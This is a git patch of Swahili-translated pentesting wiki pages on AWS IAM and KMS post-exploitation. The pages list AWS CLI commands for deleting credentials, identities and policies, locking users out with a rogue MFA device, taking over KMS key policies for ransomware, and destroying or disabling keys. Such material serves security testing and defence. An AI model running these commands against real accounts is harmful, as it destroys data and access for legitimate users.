From 70a857795ae03063bdc7e13b9459a8955462ea5c Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 7 Oct 2025 09:25:56 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation --- .../aws-iam-post-exploitation.md | 103 +++++++++++++++--- .../aws-kms-post-exploitation.md | 103 ++++++++++++++---- 2 files changed, 168 insertions(+), 38 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index 94f6d1d99..bab13feea 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -4,21 +4,21 @@ ## IAM -Kwa maelezo zaidi kuhusu ufikiaji wa IAM: +Kwa habari zaidi kuhusu ufikiaji wa IAM: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -## Tatizo la Mwakilishi Aliyechanganyikiwa +## Confused Deputy Problem -Ikiwa unaruhusu **akaunti ya nje (A)** kufikia **jukumu** katika akaunti yako, huenda ukawa na **0 uelewa** kuhusu **nani hasa anaweza kufikia akaunti hiyo ya nje**. Hii ni tatizo, kwa sababu ikiwa akaunti nyingine ya nje (B) inaweza kufikia akaunti ya nje (A) inawezekana kwamba **B pia itaweza kufikia akaunti yako**. +Ikiwa **unamruhusu akaunti ya nje (A)** kufikia **role** kwenye akaunti yako, huenda ukawa na **uonekano 0** juu ya **ni nani hasa anaweza kufikia akaunti hiyo ya nje**. Hii ni tatizo, kwa sababu ikiwa akaunti nyingine ya nje (B) inaweza kufikia akaunti ya nje (A) inawezekana kwamba **B pia ataweza kufikia akaunti yako**. -Kwa hiyo, unaporuhusu akaunti ya nje kufikia jukumu katika akaunti yako inawezekana kubainisha `ExternalId`. Hii ni "nywila" ya siri ambayo akaunti ya nje (A) **inahitaji kubainisha** ili **ichukue jukumu katika shirika lako**. Kwa kuwa **akaunti ya nje B haitajui nywila hii**, hata kama ana ufikiaji juu ya A **hataweza kufikia jukumu lako**. +Hivyo, unapomruhusu akaunti ya nje kufikia role kwenye akaunti yako inawezekana kubainisha `ExternalId`. Hii ni kamba "secret" ambayo akaunti ya nje (A) **inahitaji kuibainisha** ili **assume the role in your organization**. Kwa kuwa **akaunti ya nje B haitajui kamba hii**, hata kama ina ufikiaji wa A **haitaweza kufikia role yako**.
-Hata hivyo, kumbuka kwamba `ExternalId` hii "siri" **sio siri**, mtu yeyote anayeweza **kusoma sera ya jukumu la IAM atakuwa na uwezo wa kuiona**. Lakini kadri akaunti ya nje A inavyoijua, lakini akaunti ya nje **B haijui**, in **azuia B kutumia A kufikia jukumu lako**. +Hata hivyo, kumbuka kwamba `ExternalId` "secret" **sio siri**, yeyote anayeeza **read the IAM assume role policy will be able to see it**. Lakini mradi akaunti ya nje A inajua, na akaunti ya nje **B haitajui**, hiyo **prevents B abusing A to access your role**. Mfano: ```json @@ -39,11 +39,11 @@ Mfano: } ``` > [!WARNING] -> Ili mshambuliaji aweze kutumia msaidizi aliyechanganyikiwa, itabidi apate kwa namna fulani ikiwa wakuu wa akaunti ya sasa wanaweza kujifanya kuwa majukumu katika akaunti nyingine. +> Ili mshambulizi afaidike na confused deputy, atahitaji kwa namna fulani kugundua kama principals za akaunti ya sasa zinaweza kujifanya roles katika akaunti nyingine. -### Imani zisizotarajiwa +### Uaminifu usiotarajiwa -#### Wildcard kama mkuu +#### Wildcard kama principal ```json { "Action": "sts:AssumeRole", @@ -51,9 +51,9 @@ Mfano: "Principal": { "AWS": "*" } } ``` -Sera hii **inaruhusu AWS zote** kuchukua jukumu. +Sera hii **inaruhusu AWS zote** kuchukua jukumu. -#### Huduma kama kiongozi +#### Huduma kama mwenye mamlaka ```json { "Action": "lambda:InvokeFunction", @@ -62,9 +62,9 @@ Sera hii **inaruhusu AWS zote** kuchukua jukumu. "Resource": "arn:aws:lambda:000000000000:function:foo" } ``` -Sera hii **inaruhusu akaunti yoyote** kuunda apigateway yao ili kuita Lambda hii. +Sera hii **inaruhusu akaunti yoyote** kusanidi apigateway yao kuitisha Lambda hii. -#### S3 kama kiongozi +#### S3 kama mhusika ```json "Condition": { "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, @@ -73,7 +73,7 @@ Sera hii **inaruhusu akaunti yoyote** kuunda apigateway yao ili kuita Lambda hii } } ``` -Ikiwa S3 bucket inatolewa kama principal, kwa sababu S3 buckets haina Account ID, ikiwa **ulifuta bucket yako na mshambuliaji akaunda** hiyo katika akaunti yao, basi wanaweza kuitumia vibaya hii. +Ikiwa S3 bucket imepewa kama principal, kwa sababu S3 buckets hazina Account ID, ikiwa **ulifuta bucket yako na mshambuliaji akaijenga** katika akaunti yao wenyewe, basi wangeweza kuvitumia vibaya. #### Not supported ```json @@ -84,9 +84,82 @@ Ikiwa S3 bucket inatolewa kama principal, kwa sababu S3 buckets haina Account ID "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` -Njia ya kawaida ya kuepuka matatizo ya Confused Deputy ni matumizi ya hali na `AWS:SourceArn` ili kuangalia ARN ya asili. Hata hivyo, **huduma zingine huenda zisipokee hiyo** (kama CloudTrail kulingana na vyanzo vingine). +Njia ya kawaida ya kuepuka matatizo ya Confused Deputy ni kutumia sharti lenye `AWS:SourceArn` kuangalia origin ARN. Hata hivyo, **huduma baadhi huenda zisiziiunge mkono** (kama CloudTrail kwa mujibu wa baadhi ya vyanzo). -## Marejeleo +### Kufuta Vyeti +Kwa yoyote ya ruhusa zifuatazo — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — mhusika anaweza kuondoa access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates au CloudFront public keys, au kutenganisha roles kutoka kwenye instance profiles. Vitendo hivyo vinaweza mara moja kuzuia watumiaji halali na applications na kusababisha denial-of-service au kupoteza ufikiaji kwa mifumo inayotegemea vyeti hivyo, kwa hiyo ruhusa hizi za IAM lazima ziwekwe kwa ukomo mkubwa na kufuatiliwa. +```bash +# Remove Access Key of a user +aws iam delete-access-key \ +--user-name \ +--access-key-id AKIAIOSFODNN7EXAMPLE + +## Remove ssh key of a user +aws iam delete-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE +``` +### Ufutaji wa Utambulisho +Kwa ruhusa kama `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, au `iam:RemoveUserFromGroup`, mhusika anaweza kufuta watumiaji, majukumu, au vikundi—au kubadili uanachama wa kikundi—akiwaondoa vitambulisho na alama zinazohusiana. Hii inaweza kuvunja mara moja upatikanaji kwa watu na huduma zinazoegemea vitambulisho hivyo, ikisababisha denial-of-service au upotezaji wa upatikanaji, hivyo vitendo hivi vya IAM lazima viwekwe vizuizi vikali na kufuatiliwa. +```bash +# Delete a user +aws iam delete-user \ +--user-name + +# Delete a group +aws iam delete-group \ +--group-name + +# Delete a role +aws iam delete-role \ +--role-name +``` +### +Kwa ruhusa yoyote kati ya zifuatazo — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — mtendaji anaweza kufuta au kutenganisha managed/inline policies, kuondoa matoleo ya policies au permissions boundaries, na kuondoa uhusiano wa policies kutoka kwa watumiaji, vikundi, au roles. Hii hubomoa idhini na inaweza kubadilisha muundo wa ruhusa, ikasababisha kupoteza mara moja ufikiaji au denial-of-service kwa wadau waliotegemea policies hizo, hivyo vitendo hivi vya IAM vinapaswa kuzuiwa kwa ukali na kusimamiwa. +```bash +# Delete a group policy +aws iam delete-group-policy \ +--group-name \ +--policy-name + +# Delete a role policy +aws iam delete-role-policy \ +--role-name \ +--policy-name +``` +### Kufuta Utambulisho uliounganishwa +Kwa `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, and `iam:RemoveClientIDFromOpenIDConnectProvider`, mtumiaji mwenye mamlaka anaweza kufuta OIDC/SAML identity providers au kuondoa client IDs. Hii inavunja uthibitishaji uliounganishwa, ikizuia token validation na mara moja kukataa ufikiaji kwa watumiaji na huduma zinazotegemea SSO hadi IdP au mipangilio itakaporejeshwa. +```bash +# Delete OIDCP provider +aws iam delete-open-id-connect-provider \ +--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com + +# Delete SAML provider +aws iam delete-saml-provider \ +--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS +``` +### Uanzishaji Haramu wa MFA +Kwa kutumia `iam:EnableMFADevice`, mhusika anaweza kusajili kifaa cha MFA kwenye utambulisho wa mtumiaji, akizuia mtumiaji halali kuingia. Mara MFA isiyoruhusiwa itakapowashwa, mtumiaji anaweza kufungiwa hadi kifaa hicho kiondolewe au kirekebishwe (kumbuka: ikiwa vifaa vingi vya MFA vimesajiliwa, kuingia kunahitaji kimoja tu, kwa hiyo shambulio hili halitaathiri kuzuia upatikanaji). +```bash +aws iam enable-mfa-device \ +--user-name \ +--serial-number arn:aws:iam::111122223333:mfa/alice \ +--authentication-code1 123456 \ +--authentication-code2 789012 +``` +### Certificate/Key Metadata Tampering +Kwa `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, mhusika anaweza kubadilisha hali au metadata ya funguo za umma na vyeti. Kwa kufanya funguo/vyeti zisizotumika au kubadilisha rejea, wanaweza kuvunja uthibitisho wa SSH, kufuta uhalali wa X.509/TLS, na kuathiri mara moja huduma zinazotegemea nyaraka hizo za uthibitisho, kusababisha kupoteza ufikiaji au upatikanaji. +```bash +aws iam update-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE \ +--status Inactive + +aws iam update-server-certificate \ +--server-certificate-name \ +--new-path /prod/ +``` +## Marejeo - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index 4cdbc1467..a8cda416d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -10,17 +10,17 @@ Kwa maelezo zaidi angalia: ../aws-services/aws-kms-enum.md {{#endref}} -### Encrypt/Decrypt information +### Encrypt/Decrypt taarifa -`fileb://` na `file://` ni mipango ya URI inayotumika katika amri za AWS CLI kubaini njia ya faili za ndani: +`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files: -- `fileb://:` Inasoma faili kwa njia ya binary, inayotumika kawaida kwa faili zisizo za maandiko. -- `file://:` Inasoma faili kwa njia ya maandiko, inayotumika kawaida kwa faili za maandiko safi, skripti, au JSON ambayo haina mahitaji maalum ya uandishi. +- `fileb://:` Inasoma faili kwa mode ya binary, kawaida inatumiwa kwa faili zisizo za maandishi. +- `file://:` Inasoma faili kwa mode ya maandishi, kwa kawaida inatumiwa kwa faili za maandishi za kawaida, scripts, au JSON ambazo hazina mahitaji maalum ya encoding. > [!TIP] -> Kumbuka kwamba ikiwa unataka kufungua baadhi ya data ndani ya faili, faili lazima iwe na data ya binary, si data iliyowekwa kwa base64. (fileb://) +> Kumbuka kwamba ikiwa unataka decrypt data ndani ya faili, faili lazima iwe na data ya binary, sio data iliyokuwa base64 encoded. (fileb://) -- Kutumia funguo **symmetric** +- Kutumia a **symmetric** key ```bash # Encrypt data aws kms encrypt \ @@ -38,7 +38,7 @@ aws kms decrypt \ --query Plaintext | base64 \ --decode ``` -- Kutumia **asymmetric** key: +- Kutumia funguo **asimetriki**: ```bash # Encrypt data aws kms encrypt \ @@ -60,14 +60,14 @@ aws kms decrypt \ ``` ### KMS Ransomware -Mshambuliaji mwenye ufikiaji wa haki juu ya KMS anaweza kubadilisha sera ya KMS ya funguo na **kutoa ufikiaji wa akaunti yake juu yao**, akiondoa ufikiaji uliopewa akaunti halali. +Mshambuliaji akiwa na ufikiaji wa hadhi ya juu kwa KMS anaweza kubadilisha sera za KMS za keys na **kumpa akaunti yake ufikiaji kwa keys hizo**, na kuondoa ufikiaji uliotolewa kwa akaunti halali. -Hivyo, watumiaji wa akaunti halali hawataweza kufikia taarifa yoyote ya huduma yoyote ambayo imekuwa imefichwa kwa kutumia funguo hizo, na kuunda ransomware rahisi lakini yenye ufanisi juu ya akaunti hiyo. +Baada yake, watumiaji wa akaunti halali hawataweza kufikia taarifa yoyote ya huduma yoyote iliyosimbwa kwa keys hizo, kuunda ransomware rahisi lakini yenye ufanisi dhidi ya akaunti hiyo. > [!WARNING] -> Kumbuka kwamba **funguo zinazodhibitiwa na AWS hazihusiki** na shambulio hili, ni tu **funguo zinazodhibitiwa na Wateja**. +> Kumbuka kwamba **AWS managed keys hazinaathiriwa** na shambulio hili; ni **Customer managed keys** tu. -> Pia kumbuka hitaji la kutumia param **`--bypass-policy-lockout-safety-check`** (ukosefu wa chaguo hili kwenye konsoli ya wavuti unafanya shambulio hili liwezekane tu kutoka CLI). +> Pia kumbuka hitaji la kutumia param **`--bypass-policy-lockout-safety-check`** (ukosefu wa chaguo hili kwenye web console unafanya shambulio hili liwe linawezekana tu kupitia CLI). ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ @@ -92,34 +92,91 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ } ``` > [!CAUTION] -> Kumbuka kwamba ikiwa unabadilisha sera hiyo na kutoa ufikiaji tu kwa akaunti ya nje, na kisha kutoka kwa akaunti hii ya nje unajaribu kuweka sera mpya ili **kurudisha ufikiaji kwa akaunti ya awali, huwezi kufanya hivyo kwa sababu hatua ya Put Policy haiwezi kufanywa kutoka kwa akaunti tofauti**. +> Tambua kwamba ikiwa utabadilisha policy hiyo na kutoa ufikiaji kwa external account tu, na kisha kutoka external account hii ukajaribu kuweka policy mpya ili **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**.
-### Generic KMS Ransomware +### Jeneriki KMS Ransomware -#### Global KMS Ransomware +Kuna njia nyingine ya kutekeleza KMS Ransomware ya kimataifa, ambayo itajumuisha hatua zifuatazo: -Kuna njia nyingine ya kutekeleza KMS Ransomware ya kimataifa, ambayo itahusisha hatua zifuatazo: +- Tengeneza key mpya na **key material** iliyopingwa/imeingizwa na attacker +- **Re-encrypt older data** ya victim iliyofichwa na version ya awali kwa kutumia ile mpya +- **Futa KMS key** +- Sasa ni attacker pekee, ambaye ana original key material, atakayekuwa na uwezo wa decrypt data iliyofichwa -- Kuunda **funguo mpya yenye nyenzo za funguo** zilizowekwa na mshambuliaji -- **Kurejesha data ya zamani** iliyosimbwa kwa toleo la awali na ile mpya. -- **Futa funguo za KMS** -- Sasa ni mshambuliaji tu, ambaye ana nyenzo za funguo za awali anaweza kufungua data iliyosimbwa. +### Futa Vifunguo kupitia `kms:DeleteImportedKeyMaterial` -### Destroy keys +Kwa ruhusa ya `kms:DeleteImportedKeyMaterial`, mshiriki anaweza kufuta imported key material kutoka CMKs zenye `Origin=EXTERNAL` (CMKs ambazo zimeingiza key material zao), na kuzifanya zisizoweza ku-decrypt data. Kitendo hiki ni cha uharibifu na hakirejeshiki isipokuwa material inayofaa iingizwe tena, na hivyo kumruhusu attacker kusababisha kwa ufanisi kupoteza data kama ransomware kwa kufanya taarifa zilizofichwa zisipatikane milele. ```bash -# Destoy they key material previously imported making the key useless -aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab +aws kms delete-imported-key-material --key-id +``` +### Haribu funguo +Kuangamiza funguo kunaweza kusababisha DoS. +```bash # Schedule the destoy of a key (min wait time is 7 days) aws kms schedule-key-deletion \ --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ --pending-window-in-days 7 ``` > [!CAUTION] -> Kumbuka kwamba AWS sasa **inazuia hatua za awali kufanywa kutoka akaunti tofauti:** +> Kumbuka kwamba AWS sasa **inazuia vitendo vilivyotangulia kutekelezwa kutoka cross-account:** +### Badilisha au futa Alias +Shambulio hili linafuta au kuielekeza upya AWS KMS aliases, kuharibu utambuzi wa ufunguo na kusababisha kushindwa mara moja kwa huduma yoyote inayotegemea alias hizo, ikisababisha denial-of-service. Kwa ruhusa kama `kms:DeleteAlias` au `kms:UpdateAlias` mshambuliaji anaweza kuondoa au kurekebisha mwelekeo wa alias na kuingilia kati operesheni za kriptografia (mf., encrypt, describe). Huduma yoyote inayorejelea alias badala ya key ID inaweza kushindwa hadi alias irekebishwe au irejeshwe kwa usahihi. +```bash +# Delete Alias +aws kms delete-alias --alias-name alias/ + +# Update Alias +aws kms update-alias \ +--alias-name alias/ \ +--target-key-id +``` +### Kukatisha Ufutaji wa Ufunguo +Kwa ruhusa kama `kms:CancelKeyDeletion` na `kms:EnableKey`, mhusika anaweza kukatisha ufutaji uliopangwa wa AWS KMS customer master key na baadaye kuiwezesha tena. Hii hurudisha ufunguo (mwanzoni katika Disabled state) na kurejesha uwezo wake wa decrypt data iliyolindwa hapo awali, ikiruhusu exfiltration. +```bash +# Firts cancel de deletion +aws kms cancel-key-deletion \ +--key-id + +## Second enable the key +aws kms enable-key \ +--key-id +``` +### Kuzima Funguo +Kwa ruhusa ya `kms:DisableKey`, muingiliaji anaweza kuzima AWS KMS customer master key, akizuia itumike kwa encryption au decryption. Hii inavunja ufikiaji kwa huduma yoyote inayotegemea CMK hiyo na inaweza kusababisha usumbufu wa papo hapo au denial-of-service hadi funguo itakapowezeshwa tena. +```bash +aws kms disable-key \ +--key-id +``` +### Derive Shared Secret +Kwa ruhusa ya `kms:DeriveSharedSecret`, mhusika anaweza kutumia private key iliyoshikiliwa na KMS pamoja na public key iliyotolewa na mtumiaji ili kuhesabu ECDH shared secret. +```bash +aws kms derive-shared-secret \ +--key-id \ +--public-key fileb:/// \ +--key-agreement-algorithm +``` +### Impersonation via kms:Sign +Kwa ruhusa ya `kms:Sign`, mhusika anaweza kutumia KMS-stored CMK kusaini data kwa njia ya cryptographic bila kufichua private key, na kuzalisha signatures halali ambazo zinaweza kuwezesha impersonation au kuidhinisha vitendo hatarishi. +```bash +aws kms sign \ +--key-id \ +--message fileb:// \ +--signing-algorithm \ +--message-type RAW +``` +### DoS with Custom Key Stores +Kwa ruhusa kama `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, au `kms:UpdateCustomKeyStore`, muigizaji anaweza kubadilisha, kutenganisha, au kufuta AWS KMS Custom Key Store (CKS), na kufanya vifunguo vyake vya msingi visifanye kazi. Hii inavunja operesheni za usimbaji, ufumbuzi (decryption), na kuweka saini kwa huduma yoyote inayotegemea vifunguo hivyo na inaweza kusababisha immediate denial-of-service. Kudhibiti na kufuatilia ruhusa hizo ni muhimu. +```bash +aws kms delete-custom-key-store --custom-key-store-id + +aws kms disconnect-custom-key-store --custom-key-store-id + +aws kms update-custom-key-store --custom-key-store-id --new-custom-key-store-name --key-store-password +```
{{#include ../../../banners/hacktricks-training.md}}